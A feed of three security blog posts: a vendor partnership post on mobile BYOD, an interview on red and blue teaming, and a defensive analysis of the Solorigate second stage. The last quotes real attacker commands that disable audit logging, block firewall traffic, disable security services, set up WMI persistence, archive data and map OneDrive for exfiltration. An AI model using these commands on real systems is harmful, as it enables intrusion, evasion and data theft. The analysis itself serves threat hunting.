Microsoft

Blue Cedar partners with Microsoft to combat BYOD issues

Microsoft Malware Protection Center - Thu, 01/21/2021 - 2:00pm

This blog post is part of the Microsoft Intelligent Security Association guest blog series. Learn more about MISA.  

Bring Your Own Device (BYOD) has been a divisive topic within corporations for years. Employees wanted the convenience of working on their own smart devices, and business decision-makers recognized the cost and productivity benefits. IT teams knew unmanaged devices would result in more work and security holes. 

As you know, the business side won out. The line-of-business (LOB) mobile app market exploded, and BYOD became the rule rather than the exception. Today, corporate IT teams manage hundreds of mobile LOBs ranging from apps developed in house to Microsoft 365, with more on the horizon. There is one thing that everyone can agree on, however: Employers should not manage their employees’ personal devices. 

Establishing data boundaries

IT teams constantly struggle to walk the delicate line of managing corporate data without impinging on personal data. The Microsoft Intune and Microsoft Office 365 teams set out to solve the problem together. The teams worked together to develop app protection policies (APPs) for what would become Microsoft Endpoint Manager (MEM). The APP places restrictions on how Office 365 data can be used on a completely managed or completely unmanaged device. Specifically:  

  • Data can only be shared between managed Office 365 apps. 
  • Users cannot forward it or save it to a non-Office 365 resource. 
Blue Cedar’s solution for Microsoft

IT and security teams have been searching for a solution to accommodate BYOD that won’t compromise network security. The Blue Cedar Platform is a no-code Integration service that enables new capabilities to be added to Mobile apps post-build without requiring a developer. With a couple of clicks, you can add Intune MAM, Azure Active Directory Authentication, and other SDKs into your compiled mobile app. The platform works with native apps or apps written using a mobile framework and integrates into your existing app delivery workflow. Built-in integrations with GitHub and the Intune cloud allow you to build seamless workflows that add new app capabilities and skip manual operations.  

Feature highlights: 

  • Add Microsoft Endpoint Manager App Protection Policy capabilities.  
  • Add new app authentication flows include the use of the Microsoft authenticator app. 
  • Keep corporate data separate from personal data. 
  • Allow users to BYOD without creating security vulnerabilities. 
  • Maintains end-user privacy. 
Secure VPN connections to on-premises resources

There is one last thing I’d like to tell you about today—and it’s a potential gamechanger for many organizations. Many companies still maintain critical data on-prem, meaning employees can’t easily access it from their mobile devices. Utilizing our patented No-code integration technology, VPN capabilities can be added to mobile apps allowing them to attach to the corporate network. 

Our in-app VPN functionality enables users to automatically connect to on-premises and in-cloud networks without requiring device management or complex VPN configuration. Our VPN connectivity is transparent and secured via a multi-factor authentication backed by Azure AD.  

Secure VPN feature highlights: 

  • Extends network availability to on-prem networks. 
  • Permits login with Azure AD credentials. 
  • Separates corporate data from personal data.
  • Improves productivity. 

The Blue Cedar platform is also the only way to securely connect Intune-enabled apps to both cloud and on-premises databases for a single sign-on (SSO) experience without bringing the devices under management. 

Better BYOD for your organization

BYOD is here to stay; the Blue Cedar collaboration with Microsoft will save you time, resources, and budget while providing secure mobile access to your on-prem or cloud-based resources.  

To learn more about Blue Cedar Platform, visit the Blue Cedar listing in the Azure Marketplace or visit our web page about Blue Cedar’s no-code integration service

To learn more about the Microsoft Intelligent Security Association (MISA), visit the MISA website where you can learn about the MISA program, product integrations, and find MISA members. Visit the video playlist to learn about the strength of member integrations with Microsoft products.  

For more information about Microsoft Security Solutions, visit the Microsoft Security website. Bookmark the Security blog to keep up with our expert coverage of security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.  

The post Blue Cedar partners with Microsoft to combat BYOD issues appeared first on Microsoft Security.

The dynamic duo: How to build a red and blue team to strengthen your cybersecurity, Part 2

Microsoft Malware Protection Center - Thu, 01/21/2021 - 12:00pm

The security community is continuously changing, growing, and learning from each other to better position the world against cyber threats. In the first post of our new Voice of the Community blog series, Microsoft Product Marketing Manager Natalia Godyla talks with Jake Williams, Founder of Rendition InfoSec. In part two of this blog, Jake shares his best practices on how to structure and evolve red and blue teaming within your organization.

What are best practices for organizations maturing their blue team?

First and foremost, go in and look at the event logs and turn on all of the logging that you think will be useful. I work with blue teams today up and down the Fortune 500, and I ask, “Where is this in your event logs?” And they say, “I think maybe my endpoint detection and response (EDR) platform may catch that.” Windows catches that. Windows detects the thing we’re talking about if you have it configured. It’s more than 100 event logs, and a lot of them are empty and the ones that are populated are not logging the best things you can log. A lot of the reason for that is logs get big.

The second cybersecurity best practice is to use Group Policy Object (GPO) and increase the size of your event logs dramatically. I think the security event log pegs at 20 megabytes. The way that I explain this to folks is I’ve never been an instant responder and worked the case where I walk in and think, “What am I going to do with all these logs?”

Third, actually walk through the audit policy. I want you to go look at it. If you’re a systems architect or a systems engineer, you have to know what’s even available. Not knowing what’s available from an audit standpoint is almost like going to a restaurant, never reading the menu and saying, “I heard you had a burger so I’m going to have that.” And you have no idea what else could be there that could be way better. Go read the menu. Find out what audit logs are available and increase the size of them dramatically.

We’ve had folks do one but not the other. There was this heartbreaking case a couple of years back where they called, and I ended up being on the flyaway team. When they called, we asked, “What auditing do you have available?” We told them to turn it on and increase the size of the event log, and they did one of those two. And when I got onsite, and I got into that server, there were 18 seconds of security event logs. 18 seconds. It was awesome that they turned some stuff on, but at the same time, I needed the log in general, not 18 seconds of activity. It was just heartbreaking.

What is your guidance to red teamers? What best practices should they consider?

Stop trying to be sexy. Every time there’s a major security conference like a Black Hat or a ShmooCon, I get some red teamers who come back and say, “I just saw this super cool, super awesome technique.” I ask, “Are attackers using that?” and they say, “I’m sure they will be.” When we have credible intelligence that they are, then we’re going to invest that time. Make sure you’re actually providing value back to the organization and understand what that means.

In late 2019, I was at a major insurance company and they have a red team that is about a third of the size of their blue team, which is just wrong. I asked, “Can I see an example of a report?” And the red team leader says, “No.” I said, “You do know I have an NDA with you. We’re physically here at your headquarters.” He said that they only share these reports with management and that executives understand the risks. He said that if they tell the blue team how they’re doing everything, they’ll catch the red team immediately.

The biggest outcome of this exercise became how do we stop doing red team for red team’s sake, such as to be a bunch of cool hackers and go break stuff. How do we turn this around where the red team is providing value to blue team? Security is a service provider to the organization, and red team ultimately should be driven by blue team (their customer). The red team’s goal isn’t to go sneak around and remain undetected for the sake of their egos. The goal is to identify vulnerabilities, missing patches or misconfigurations, or find gaps in coverage for monitoring. The customer for that is blue team. I look at the blue team as tasking the red team and saying, “Here’s what we need from you.” Red team’s hacking, sexy, cool stuff is secondary.

What kind of training would you recommend for red and blue teams?

If I’m a blue teamer, I’m going to be staying on the cutting edge of what’s the latest thing happening with system logs. I’m less about tools than I am about techniques. What do I have available from a detection standpoint? I’m not interested necessarily in my blue teamers going out and trying to figure out how to go through exploits, run exploits. That’s a red team kind of thing.

For a red team, send them to conferences. People don’t like to hear this, but the conferences are going to pay off better than any red team courses for anybody who has got more than a year of red team experience. The reason is the networking. You network, and you start getting put in these private Slack groups or on email lists. Everybody knows everybody. You’re going to hear about those newer techniques. I’m less about formalized training than I am about getting them into networking opportunities.

What do you think red and blue teams will continue to think about even after the pandemic? What changes are going to make long-lasting impacts on the security industry?

This applies to both red and blue teams, and it’s understanding the attack surface. Something that we’ve seen more than any previous year has to be software-as-a-service (SaaS). We shifted to work from home, depending on which part of the country, either over a 24 or a 48-hour period all the way up to maybe a two-week period. By any measure, it’s insanely fast for a lot of folks to do, and so they made a lot of changes to get stuff done without really looking at the long-term security implications.

I’m already discussing with clients how to go back and memorialize what they did as we ran home. In late March, most CISOs I talked to didn’t believe we’d still be at home at the end of the year. They thought this was a one-month or two-month situation so risks we were ready to accept for a month look a whole lot different than risks we’re going to live with in perpetuity.

For the folks rolling into holiday standdown time, now is the time to make some of those changes. On the red team side, another big one is: Know your scope, know your scope, know your scope. Just because I have data in Salesforce doesn’t mean you can go hack Salesforce. Your red team needs to know what they legally can do and what they ethically should do and make sure everyone is aligned there. From a blue team side, you figure out how you want them to evaluate the security of your Salesforce tenant. I think that’s really it, knowing what architecture changes we made as we moved into that fully remote environment, and how many of those need to be revisited. And the answer is a lot of them. I think it’s no secret that a lack of change control drives a lot of breaches.

Any last words of wisdom to help red and blue teams strengthen cybersecurity?

Both red and blue should absolutely be using threat intelligence. That doesn’t mean every org needs a dedicated cyber threat intelligence (CTI) analyst. It doesn’t mean go buy another threat intelligence feed. What I’m looking at is what we need to prioritize not based on what could happen but on what we know is happening. Those are two very different things. When I look at the range of possible bad things that could happen to us, I think: What are we actually seeing in the wild, both in our organizations and in other organizations?

When you learn about a threat that’s targeting a different industry, like healthcare, should you be paying attention to it? The answer is obviously yes, you should be. Just because it’s a big push in one industry doesn’t mean it’s not coming to you. All things equal, I’m going to prioritize more in my vertical, but I have to have an ear to the grindstone for what’s happening in other verticals as well.

To learn more about Microsoft Security solutions visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity or on LinkedIn for the latest news and updates on cybersecurity.

The post The dynamic duo: How to build a red and blue team to strengthen your cybersecurity, Part 2 appeared first on Microsoft Security.

Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop

Microsoft Malware Protection Center - Wed, 01/20/2021 - 12:30pm

More than a month into the discovery of Solorigate, investigations continue to unearth new details that prove it is one of the most sophisticated and protracted intrusion attacks of the decade. Our continued analysis of threat data shows that the attackers behind Solorigate are skilled campaign operators who carefully planned and executed the attack, remaining elusive while maintaining persistence. These attackers appear to be knowledgeable about operations security and performing malicious activity with minimal footprint. In this blog, we’ll share new information to help better understand how the attack transpired. Our goal is to continue empowering the defender community by helping to increase their ability to hunt for the earliest artifacts of compromise and protect their networks from this threat.

We have published our in-depth analysis of the Solorigate backdoor malware (also referred to as SUNBURST by FireEye), the compromised DLL that was deployed on networks as part of SolarWinds products, that allowed attackers to gain backdoor access to affected devices. We have also detailed the hands-on-keyboard techniques that attackers employed on compromised endpoints using a powerful second-stage payload, one of several custom Cobalt Strike loaders, including the loader dubbed TEARDROP by FireEye and a variant named Raindrop by Symantec.

One missing link in the complex Solorigate attack chain is the handover from the Solorigate DLL backdoor to the Cobalt Strike loader. Our investigations show that the attackers went out of their way to ensure that these two components are separated as much as possible to evade detection. This blog provides details about this handover based on a limited number of cases where this process occurred. To uncover these cases, we used the powerful, cross-domain optics of Microsoft 365 Defender to gain visibility across the entire attack chain in one complete and consolidated view.

We’ll also share our deep dive into additional hands-on-keyboard techniques that the attackers used during initial reconnaissance, data collection, and exfiltration, which complement the broader TTPs from similar investigative blogs, such as those from FireEye and Volexity.

The missing link: From the Solorigate backdoor to Cobalt Strike implants

An attack timeline that SolarWinds disclosed in a recent blog showed that a fully functional Solorigate DLL backdoor was compiled at the end of February 2020 and distributed to systems sometime in late March.  The same blog also said that the attackers removed the Solorigate backdoor code from SolarWinds’ build environment in June 2020.

Considering this timeline and the fact that the Solorigate backdoor was designed to stay dormant for at least two weeks, we approximate that the attackers spent a month or so in selecting victims and preparing unique Cobalt Strike implants as well as command-and-control (C2) infrastructure. This approximation means that real hands-on-keyboard activity most likely started as early as May.

The removal of the backdoor-generation function and the compromised code from SolarWinds binaries in June could indicate that, by this time, the attackers had reached a sufficient number of interesting targets, and their objective shifted from deployment and activation of the backdoor (Stage 1) to being operational on selected victim networks, continuing the attack with hands-on-keyboard activity using the Cobalt Strike implants (Stage 2).

Figure 1. Timeline of the protracted Solorigate attack

But how exactly does this jump from the Solorigate backdoor (SUNBURST) to the Cobalt Strike loader (TEARDROP, Raindrop, and others) happen? What code gets triggered, and what indicators should defenders look for?

Figure 2. Diagram of transition between Stage 1 and Stage 2 of the Solorigate attack

Sophisticated attackers like those behind Solorigate have a goal of expansion and stealthy persistence to maximize the amount of time they can remain undetected and collect valuable information. It’s important for organizations to be able to look at forensic data across their entire environment to see how far attackers have traversed the network and how long they were there, in order to have confidence that attacks have been properly remediated from the environment. The best way to do that is with an extended detection and response (XDR) solution that enables organizations to replay past events to look for activity that might reveal the presence of an attacker on the network. Affected organizations without an XDR solution like Microsoft 365 Defender in place will have a difficult job of performing incident response.

What we found from our hunting exercise across Microsoft 365 Defender data further confirms the high level of skill of the attackers and the painstaking planning of every detail to avoid discovery. To illustrate, the following diagram shows the entry vector attack chain at a glance:

Figure 3. Transition from Solorigate backdoor to Cobalt Strike

We spent countless hours investigating Microsoft Defender telemetry and other signals from potential patient-zero machines running the backdoored version of SolarWinds DLL. Most of these machines communicated with the initial randomly generated DNS domain .avsvmcloud.com but without significant activity (step #1). However, we saw limited cases in May and June where the initial DNS network communication was closely followed by network activity on port 443 (HTTPS) to other legit-looking domains (step #7). On these handful of machines, we performed deep inspection of telemetry.

We know that the Solorigate backdoor only activates for certain victim profiles, and when this happens, the executing process (usually SolarWinds.BusinessLayerHost.exe) creates two files on disk (step #2):

  • A VBScript, typically named after existing services or folders to blend into legitimate activities on the machine
  • A second-stage DLL implant, a custom Cobalt Strike loader, typically compiled uniquely per machine and written into a legitimate-looking subfolder in %WinDir% (e.g., C:\Windows)

At this point the attackers are ready to activate the Cobalt Strike implant. However, the attackers apparently deem the powerful SolarWinds backdoor too valuable to lose in case of discovery, so they tried to separate the Cobalt Strike loader’s execution from the SolarWinds process as much as possible. Their hope is that, even if they lose the Cobalt Strike implant due to detection, the compromised SolarWinds binary and the supply chain attack that preceded it are not exposed.

The attackers achieved this by having the SolarWinds process create an Image File Execution Options (IFEO) Debugger registry value for the process dllhost.exe (step #3). This is a known MITRE ATT&CK technique used for persistence, but it could also be abused to trigger execution of malicious code when a certain process is launched. Once the registry value is created, the attackers simply wait for the occasional execution of dllhost.exe, which might happen naturally on a system. This execution triggers a process launch of wscript.exe configured to run the VBScript file dropped in step #4.

The VBScript in turn runs rundll32.exe, activating the Cobalt Strike DLL (step #5) using a clean parent/child process tree completely disconnected from the SolarWinds process. Finally, the VBScript removes the previously created IFEO value to clean up any traces of execution (step #6) and also deletes the following registry keys related to HTTP proxy:

  • HKEY_CURRENT_USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoDetect
  • HKEY_CURRENT_USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL
Analyzing the custom Cobalt Strike loaders

In our investigation, we identified several second-stage malware, including TEARDROP, Raindrop, and other custom loaders for the Cobalt Strike beacon. During the lateral movement phase, the custom loader DLLs are dropped mostly in existing Windows sub-directories. Below are some example paths (additional paths are listed at the end of this blog):

  • C:\Windows\ELAMBKUP\WdBoot.dll
  • C:\Windows\Registration\crmlog.dll
  • C:\Windows\SKB\LangModel.dll
  • C:\Windows\AppPatch\AcWin.dll
  • C:\Windows\PrintDialog\appxsig.dll
  • C:\Windows\Microsoft.NET\Framework64\sbscmp30.dll
  • C:\Windows\Panther\MainQueueOnline.dll
  • C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\msbuild.dll
  • C:\Windows\LiveKernelReports\KerRep.dll

The files have names that resemble legitimate Windows file and directory names, once again demonstrating how the attackers attempted to blend in the environment and hide in plain sight:

Legitimate Windows file/directory Malicious custom loader C:\Windows\ELAMBKUP\WdBoot.sys C:\Windows\ELAMBKUP\WdBoot.dll C:\Windows\Registration\CRMLog C:\Windows\Registration\crmlog.dll C:\Windows\SKB\LanguageModels C:\Windows\SKB\LangModel.dll C:\Windows\AppPatch\AcRes.dll C:\Windows\AppPatch\AcWin.dll C:\Windows\PrintDialog\appxsignature.p7x C:\Windows\PrintDialog\appxsig.dll C:\Windows\Microsoft.NET\Framework64\sbscmp10.dll C:\Windows\Microsoft.NET\Framework64\sbscmp30.dll C:\Windows\Panther\MainQueueOnline0.que C:\Windows\Panther\MainQueueOnline.dll C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\MSBuild.exe C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\msbuild.dll

TEARDROP, Raindrop, and the other custom Cobalt Strike Beacon loaders observed during the Solorigate investigation are likely generated using custom Artifact Kit templates. Each custom loader loads either a Beacon Reflective Loader or a preliminary loader that subsequently loads the Beacon Reflective Loader. Reflective DLL loading is a technique for loading a DLL into a process memory without using the Windows loader.

Figure 4. Structure of the two variants of Cobalt Strike Beacon loaders observed in Solorigate attacks

In the succeeding sections, we discuss the Cobalt Strike Beacon variants we observed in our Solorigate investigations.

Variant 1: TEARDROP

To date, Microsoft has analyzed two versions of the second-stage custom Cobalt Strike Beacon loader known as TEARDROP (detected as Trojan:Win64/Solorigate.SA!dha by Microsoft):

  • A service DLL (loaded by exe) with a ServiceMain function typically named NetSetupServiceMain
  • A standard non-Service DLL loaded by exe

Irrespective of the loading methodology, both versions have an export function that contains the trigger for the malicious code. The malicious code is executed in a new thread created by the export function. Upon execution, the malicious code attempts to open a file with a .jpg extension (e.g., festive_computer.jpg, upbeat_anxiety.jpg, gracious_truth.jpg, and confident_promotion.jpg). Further analysis is required to determine the purpose and role of the .jpg file referenced by each sample. The code also checks the presence of the Windows registry key SOFTWARE\Microsoft\CTF and terminates if the registry key is present or accessible. Next, the code proceeds to decode and subsequently execute an embedded custom preliminary loader.

Figure 5. Structure of Variant 1 custom loader

The preliminary loader used by this variant of custom loader is typically generated using a Cobalt Strike Artifact Kit template (e.g., bypass-pipe.c):

Figure 6. Disassembled function from the preliminary loader compiled from Artifact Kit’s bypass-pipe.c template

In its true form, the custom Artifact Kit-generated preliminary loader is a DLL that has been transformed and loaded like shellcode in memory. The preliminary loader is responsible for loading the next-stage component, which is a Beacon Reflective Loader/DLL (Cobalt Strike Beacon is compiled as a reflective DLL). The Reflective Loader ultimately initializes and executes Beacon in memory.

Variant 2: Additional custom loaders

In our investigations, we came across additional custom loaders for Cobalt Strike’s Beacon that appear to be generated using custom Cobalt Strike Artifact Kit templates. Unlike TEARDROP, in which the malicious code is triggered by an export function, the malicious code in these variants is triggered directly from the DLL’s entry point, which creates a new thread to execute the malicious code. These Variant 2 custom loaders also contain an attacker-introduced export (using varying names) whose only purpose is to call the Sleep() function every minute.

Figure 7. Example of a custom export function from a Variant 2 loader

Additionally, unlike TEARDROP, these variants do not contain a custom preliminary loader, meaning the loader DLL de-obfuscates and subsequently executes the Cobalt Strike Reflective DLL in memory.

Figure 8. Structure of Variant 2 custom Loader

These custom loaders can be further divided into two types:

  • Type A: A set of large DLLs that decode and load the Cobalt Strike Reflective Loader from the DLL’s DATA section (detected as Trojan:Win64/Solorigate.SC!dha by Microsoft)
  • Type B: A set of smaller DLLs that de-obfuscate and load the Reflective Loader from the DLL’s CODE section (also referred to as Raindrop by Symantec, detected as Trojan:Win64/Solorigate.SB!dha by Microsoft)

Figure 9. Two subtypes of the custom Loader

The ultimate goal of both Type A and B loaders is to de-obfuscate and load a Cobalt Strike Reflective Loader in memory. Type A loaders use a simple rolling XOR methodology to decode the Reflective Loader, while Type B loaders (Raindrop) utilize a combination of the AES-256 encryption algorithm (unique key per sample), LZMA compression, and a single-byte XOR decoding routine to de-obfuscate the embedded Reflective Loader in memory. At the conclusion of the de-obfuscation process, both variants proceed to load the Reflective Loader in memory, which subsequently executes Cobalt Strike Beacon in memory.

Forensic observations about the Solorigate Cobalt Strike loaders

Metadata and timeline analysis of the custom loaders, combined with analysis of the configuration data extracted from each Beacon payload, led to following discoveries:

  • The custom loader DLLs were introduced to compromised systems between the hours of 8:00 AM and 5:00 PM UTC. In one intrusion, the first second-stage custom loader (TEARDROP) was introduced to the environment by BusinessLayerHost.exe at around 10:00 AM UTC.
  • The custom loader DLLs dropped on disk carried compile timestamps ranging from July 2020 to October 2020, while the embedded Reflective DLLs carried compile timestamps ranging from March 2016 to November 2017. The presence of 2016-2017 compile timestamps is likely due to attackers’ usage of custom Malleable C2 profiles with synthetic compile timestamp (compile_time) values. At first glance it would appear as if the actor did not timestamp the compile time of the custom loader DLLs (2020 compile timestamps). However, forensic analysis of compromised systems revealed that in a few cases, the timestamp of the custom loader DLLs’ introduction to systems predated the compile timestamps of the custom loader DLLs (i.e., the DLLs appear to have been compiled at a future date).
  • Both Variant 1 and 2 custom loader DLLs were configured with PE version information that masquerades version information belonging to legitimate applications and files from Windows (e.g., DLL), 7-Zip (e.g., 7z.dll), Far Manager (e.g., Far.dll), LibIntl (e.g., libintl3.dll), and other legitimate applications. The Variant 2 custom loaders were mostly compiled from open-source source code of legitimate applications, such as 7-Zip and Far Manager (i.e., the open-source source code for these applications was modified to add in the malicious code). In some instances, certain development artifacts were left behind in the custom loader samples. For example, the following C++ header (.hpp) path was observed in a loader compiled from a modified Far Manager open-source source code (c:\build\workspace\cobalt_cryptor_far (dev071)\farmanager\far\platform.concurrency.hpp):

Figure 10. File path for a C++ header file (.hpp) observed in custom Cobalt Strike loader samples

  • Each custom loader DLL contains a designated PE export function that either triggers the malicious functionality of the loader (in Variant 1) or calls the Sleep() function (Variant 2). A non-comprehensive list of these PE export function names (one per loader DLL) is included below (note the repeating “Tk” prefix in the export names that can be a useful indicator for hunting purposes):
__GetClasterInf FreeSetupRevoke Tk_GetRootCoords TkComputeAnchor TkpSetMainMenubar __RtlProjectObj GetLimitStroke Tk_IntersectTextLayout TkDebugBorder TkSelPropProc __TkGlobal NetSetupServiceMain Tk_NameOf3DBorder TkFindStateString TkWinCancelMouseTimer _XInitImageFuncPtrs RestVirtAlloc Tk_PostscriptImage TkGetDefaultScreenName TkWinClipboardRender CreateLocalThread SetTkPrv Tk_QueryAllocMem TkGrabState XClearWindow CreateProcessTVI Tk_GetElementBox Tk_SizeOfImage TkpSetKeycodeAndState XCreateBitmapFromData
  • In addition to the attackers dropping the custom loaders in unique locations on each system during the lateral movement phase, most Beacon and Reflective Loader instances discovered during our investigation were configured with a unique C2 domain name, unique Watermark ID, unique PE compile timestamp, PE Original Name (), DNS Idle IP (e.g., 84[.]200[.]70[.]40 , 208[.]67[.]220[.]220, 208[.]67[.]222[.]222, 9[.]9[.]9[.]9, and 8[.]8[.]4[.]4), unique User-Agent and HTTP POST/GET transaction URI, sleep time, and jitter factor. This is notable since no two Beacon instances shared the same C2 domain name, Watermark, or other aforementioned configuration values. Other than certain internal fields, most Beacon configuration fields are customizable via a Malleable C2 profile. If the actor did indeed use custom Malleable C2 profiles, as evidenced in the list above, the profiles varied greatly for Beacon instances used during different lateral movement campaigns within the same network. As mentioned above, each Beacon instance carries a unique Watermark value. Analysis of the Watermark values revealed that all Watermark values start with the number ‘3’, for example:
0x30343131 0x34353633 0x38303535 0x38383238 0x32323638 0x35373331 0x38353138 0x38383430
  • As for post-exploitation artifacts, the observed Beacon instances were configured to use different “spawnto” values, which Cobalt Strike uses to spawn a temporary process and inject its post-exploitation-related components or features into the spawned process. This detail could be valuable for hunting process creation events originated by exe. Below are some example paths used by the observed Beacon instances:
    • %WINDIR%\System32\conhost.exe
    • %WINDIR%\System32\control.exe
    • %WINDIR%\System32\dllhost.exe
    • %WINDIR%\System32\help.exe
    • %WINDIR%\System32\LogonUI.exe
    • %WINDIR%\System32\msiexec.exe
    • %WINDIR%\System32\print.exe
    • %WINDIR%\SysWOW64\audiodg.exe
    • %WINDIR%\SysWOW64\help.exe
    • %WINDIR%\SysWOW64\msiexec.exe
    • %WINDIR%\SysWOW64\msinfo32.exe
    • %WINDIR%\SysWOW64\print.exe
    • %WINDIR%\SysWOW64\WerFault.exe
Additional attacker tactics, anti-forensic behavior, and operational security

As mentioned, the attackers behind Solorigate are skillful and methodic operators who follow operations security (OpSec) best practices to minimize traces, stay under the radar, and avoid detection.

During our in-depth analysis of the attacker’s tactics, techniques, and procedures (TTPs) seen through the lens of Microsoft 365 Defender’s rich telemetry, we observed a few techniques that are worth disclosing to help other defenders better respond to this incident and use hunting tools like Microsoft 365 Defender advanced hunting or Azure Sentinel queries to search for potential traces of past activity.

Some examples of why these attackers stand out for their professional OpSec methodology and anti-forensic behavior are listed below:

  • Methodic avoidance of shared indicators for each compromised host. As discussed in the previous section, each Cobalt Strike DLL implant was prepared to be unique per machine and avoided at any cost overlap and reuse of folder name, file name, export function names, C2 domain/IP, HTTP requests, timestamp, file metadata, config, and child process launched. This extreme level of variance was also applied to non-executable entities, such as WMI persistence filter name, WMI filter query, passwords used for 7-zip archives, and names of output log files. Applying this level of permutations for each individual compromised machine is an incredible effort normally not seen with other adversaries and done to prevent full identification of all compromised assets inside a network or effective sharing of threat intel between victims.
  • Camouflage and blending into the environment. Tools and binaries used by the attackers (e.g., ADFIND legit tool) were always renamed and placed in folders that mimicked existing programs and files already present on a machine. This blending was not just used for files, but for other elements. For example, WMI persistence filters were created with names and queries matching other scripts present in affected organizations.
  • Before running intensive and continued hands-on keyboard activity, the attackers took care of disabling event logging using AUDITPOL and re-enabling it afterward.
  • In a similar way, before running noisy network enumeration activities (such as repeated NSLOOKUP or LDAP queries), the attackers carefully prepared special firewall rules to minimize outgoing packets for certain protocols. The firewall rules were also methodically removed after the network reconnaissance was completed.
  • Lateral movement activities were never executed without preparation. To increase the likelihood that their activities remain undetected, the attackers first enumerated remote processes and services running on the target host and decided to move laterally only after disabling certain security services.
  • We believe that the attackers used timestomping to change timestamps of artifacts and also leveraged professional wiping procedures and tools to complicate finding and recovering of DLL implants from affected environments.

See some of the most interesting and unique TTPs in the table below. In most cases, commands and tools are executed via an intermediate “cmd.exe /C” process launched from the Cobalt Strike main parent process. We are actively working with MITRE to make sure that any novel technique emerging from this incident is documented in future updates of the ATT&CK framework.

Observed attacker behavior Example MITRE ATT&CK Attackers always ran the TEARDROP implant through rundll32.exe, which is also the main process used in communicating with the C2.

Execution of additional commands from rundll32.exe seemed to be often interleaved with “cmd.exe /C”. This info can be useful for hunting this specific process tree chain as showed in the example.

When the attackers needed to execute more risky actions on objectives (e.g., credential theft, or recon), they spawned an additional dllhost.exe process with no command-line, which is a rare event. Process-Tree:
rundll32.exe c:\windows\[folder]\[beacon].dll [export]
-> cmd.exe /C
-> [additional command] T1218.011 | Defense Evasion – Signed Binary Proxy Execution: Rundll32 When executed during lateral movement, rundll32.exe ran through WMIC or Invoke-WMIMethod with “High” integrity level and spawned by WmiPrvSE.exe, which is a rare combination. The Cobalt Strike DLL was likely deleted after completed execution to avoid forensic recovery. Variant1 (executed from PowerShell as a result of issuing the “remote-exec” Cobalt Strike command):
Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\Windows\[folder]\[beacon].dll [export]’ -ComputerName [target]Variant2 (executed from rundll32.exe):
wmic /node:[target] process call create “rundll32 c:\windows\[folder]\[beacon].dll [export]” T1047 | Windows Management Instrumentation (WMI) A WMI event filter was used to invoke a command-line event consumer at system boot time to  launch a backdoor with rundll32.exe. instance of __eventfilter
{
eventnamespace = “”root\\cimv2″”;
name = “”__timeritem””;
query = “”select * from __instancemodificationevent within 70 where targetinstance isa ‘win32_perfformatteddata_perfos_system’ and targetinstance.systemuptime >= 300 and targetinstance.systemuptime < 400″”;
querylanguage = “”wql””;
};
perm. consumer:
instance of commandlineeventconsumer
{
commandlinetemplate = “”c:\\windows\\system32\\rundll32.exe c:\\windows\\[folder]\\[beacon].dll, [export]””;
executablepath = “”c:\\windows\\system32\\rundll32.exe””;
name = “”setpolicytrace””;
}; Attackers used AUDITPOL to prevent the collection of additional audit logs and evidence trail. auditpol  /GET /category:”Detailed Tracking”

auditpol  /set /category:”Detailed Tracking” /success:disable /failure:disable


[execution of several commands and actions]

auditpol /set /category:”Detailed Tracking” /success:enable /failure:enable T1562.002 | Defense Evasion – Impair Defenses: Disable Windows Event Logging Attackers used NETSH to configure firewall rules that limit certain UDP outbound packets (to reduce noise or footprint) before intense recon with NSLOOKUP and ADFIND.

  netsh  advfirewall firewall add rule name=”[rulename1]” protocol=UDP dir=out localport=137 action=block
netsh  advfirewall firewall add rule name=”[rulename2]” protocol=UDP dir=out localport=53 action=block[execution of several network recon]netsh advfirewall firewall delete rule name=”[rulename1]”netsh advfirewall firewall delete rule name=”[rulename2]” T1562.004 | Defense Evasion –
Impair Defenses: Disable or Modify System Firewall Attackers used fsutil to check available free space before executing collection, enumeration, exfiltration, or launching attacks like DCSync which might create large files on disk. fsutil  volume diskfree c: Attackers used multiple command-line utilities to enumerate running process, services, and signed-in users on a remote system before attempting lateral movement. – tasklist /v /s [target]
– query user /server:[target]
– schtasks /query /v /s [target] /fo csv
– sc \\[target] query type=service state=all
– wmic /node:”[target]” service get name,startname T1047 | Windows Management Instrumentation (WMI),
T1057 | Process Discovery Attackers used the service control manager on a remote system to disable services associated with security monitoring products. They then moved laterally to the remote system and, when the move was complete, they re-enabled the services on the source machine where they were operating previously to avoid raising warnings. On Source Machine:
sc \\[dest_machine] stop [service name][perform lateral move Source->Dest]once on Dest Machine:
sc \\[source_machine] start [service name] T1562.001 | Defense Evasion –
Impair Defenses: Disable or Modify Tools Attackers set the service start registry key for security monitoring products to “disabled” (i.e., DWORD value of “4”). This prevented security products from loading when the system starts. In some cases, the attackers waited to perform activity on the system until the system restarts and security monitoring products were disabled. reg add HKLM\system\currentcontrolset\services\[service name] /v Start /t REG_DWORD /d 4″ T1562.001 | Defense Evasion –
Impair Defenses: Disable or Modify Tools Attackers modified timestamps of backdoors to match a legitimate Windows file (e.g., arp.exe). n/a T1070.006 | Indicator Removal on Host: Timestomp Attackers used the 7-zip utility to create a password-protected archive with an extension not associated with archive files. In some cases they also used the flag “-v” to split the archive in multiple files for easier exfiltration. 7z.exe a -mx9 -r0 -p[password-redacted] .\[filename1].zip .\[filename2].log or .txt

7z.exe a -v500m -mx9 -r0 -p[password-redacted] .\[filename1].zip .\[filename2].log or .txt T1560.001 | Archive Collected Data: Archive via Utility Attackers mapped a OneDrive share from the command-line using the net.exe command-line utility, possibly for exfiltration; other cloud services like Google Drive were most likely also used. net use [drive]: “https://d.docs.live.net/[user-id]” /u:[username] [password] T1567.002 |
Exfiltration Over Web Service: Exfiltration to Cloud Storage Attackers attempted to access Group Managed Service Account (gMSA) passwords with account credentials they have already obtained. n/a T1555 |
Credentials from Password Stores Attackers leveraged privileged accounts to replicate directory service data with Domain Controllers (e.g., a DCSync attack). n/a T1003.006 |
OS Credential Dumping: DCSync Attackers obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principal Names (SPNs) to crack offline (e.g., Kerberoasting). n/a T1558.003 |
